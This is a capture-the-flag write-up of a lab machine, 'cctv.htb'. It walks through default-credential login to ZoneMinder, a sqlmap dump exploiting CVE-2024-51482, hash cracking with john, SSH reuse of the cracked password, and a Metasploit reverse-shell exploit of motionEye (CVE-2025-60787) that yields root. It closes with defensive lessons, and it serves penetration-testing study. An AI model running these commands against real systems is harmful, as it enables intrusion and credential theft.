#Reconnaissance

#Port Scan

Nmap reveals two open ports:

• 22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
• 80/tcp - HTTP (Apache 2.4.58)

#Service Identification

Port 80 redirects to http://cctv.htb/. The landing page has a Staff Login button redirecting to /zm which hosts ZoneMinder v1.37.63 - an open-source CCTV surveillance platform.

Default credentials grant immediate admin access:

admin:admin

#Initial Access - SQL Injection (CVE-2024-51482)

#Vulnerability

ZoneMinder ≤ 1.37.64 is vulnerable to time-based SQL Injection in web/ajax/event.php. The tagId parameter is passed directly into an SQL query without sanitization:

$tagId = $_REQUEST['tid'];
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

#Exploitation

Vulnerable endpoint:

http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1

Request captured in Burp and saved to req.txt, then exploited with sqlmap:

sqlmap -r req.txt -D zm -T Users -C Username,Password --dump --batch

#Extracted Credentials

Username	Password Hash (bcrypt)	Cracked
admin	$2y$10$t5z8...	admin
superadmin	$2y$10$cmyt...	-
mark	$2y$10$prZG...	opensesame

Cracking with John:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# mark:opensesame

#SSH as mark

ssh mark@cctv.htb  # password: opensesame

The user flag is in /home/sa_mark/ - inaccessible as mark. Escalation required.

---

#Privilege Escalation - motionEye RCE (CVE-2025-60787)

#Discovery

Local enumeration reveals internal services. Port 8765 hosts motionEye 0.43.1b4 - a web-based CCTV management frontend.

Port	Service	Details
3306	MySQL	ZoneMinder DB (zmuser:zmpass)
8765	motionEye 0.43.1b4	Camera web frontend
7999	Motion 4.7.1	Motion detection daemon webcontrol
8554	RTSP	Camera stream
9081	MJPEG	Camera stream output

curl http://127.0.0.1:8765/ 2>/dev/null | head -20
# <title>cctv</title> ... motioneye-logo.svg ... v=0.43.1b4

---

The motionEye configuration files are world-readable:

cat /etc/motioneye/motion.conf

Key findings:

# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

The motioneye.service systemd unit runs as root:

[Service]
User=root
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf

#Vulnerability

motionEye ≤ 0.43.1b4 is vulnerable to OS Command Injection (CVE-2025-60787). Unsanitized user input is written to Motion configuration files (e.g. image_file_name). When Motion is restarted, the injected commands execute as the motionEye service user - in this case root.

A Metasploit module exists: exploit/linux/http/motioneye_auth_rce_cve_2025_60787.

#Exploitation

# Terminal 1 - SSH tunnel to reach motionEye on localhost
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb

# Terminal 2 - Metasploit
msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD <password>
set LHOST tun0
run

[+] The target appears to be vulnerable. Detected version 0.43.1b4
[*] Meterpreter session opened

Root shell obtained. Both flags captured:

cat /home/sa_mark/user.txt
cat /root/root.txt

---

#Attack Chain Summary

Port 80 (ZoneMinder v1.37.63)
  │
  ├─ Default credentials: admin:admin
  │  └─ Full admin access to ZoneMinder panel
  │
  ├─ CVE-2024-51482: SQL Injection in event.php (tagId)
  │  └─ sqlmap → dump Users table → bcrypt hashes
  │     └─ john → mark:opensesame
  │
  ├─ SSH as mark (port 22)
  │  └─ User flag in /home/sa_mark/ (no access yet)
  │
  └─ Internal service enumeration
     └─ motionEye 0.43.1b4 on localhost:8765 (runs as root)
        └─ CVE-2025-60787: OS Command Injection
           └─ SSH tunnel + Metasploit → root shell
              └─ user.txt + root.txt

---

#Key Takeaways

1. Default credentials on ZoneMinder provided initial admin panel access and enabled the SQLi attack
2. CVE-2024-51482 - unsanitized query parameters in PHP are a classic SQLi vector; parameterized queries are the fix
3. Password reuse between ZoneMinder and SSH accounts allowed lateral movement
4. Internal-only services can still be exploited via SSH tunneling - network segmentation alone is not sufficient
5. Running services as root (motionEye) amplifies any vulnerability to full system compromise - always use least-privilege service accounts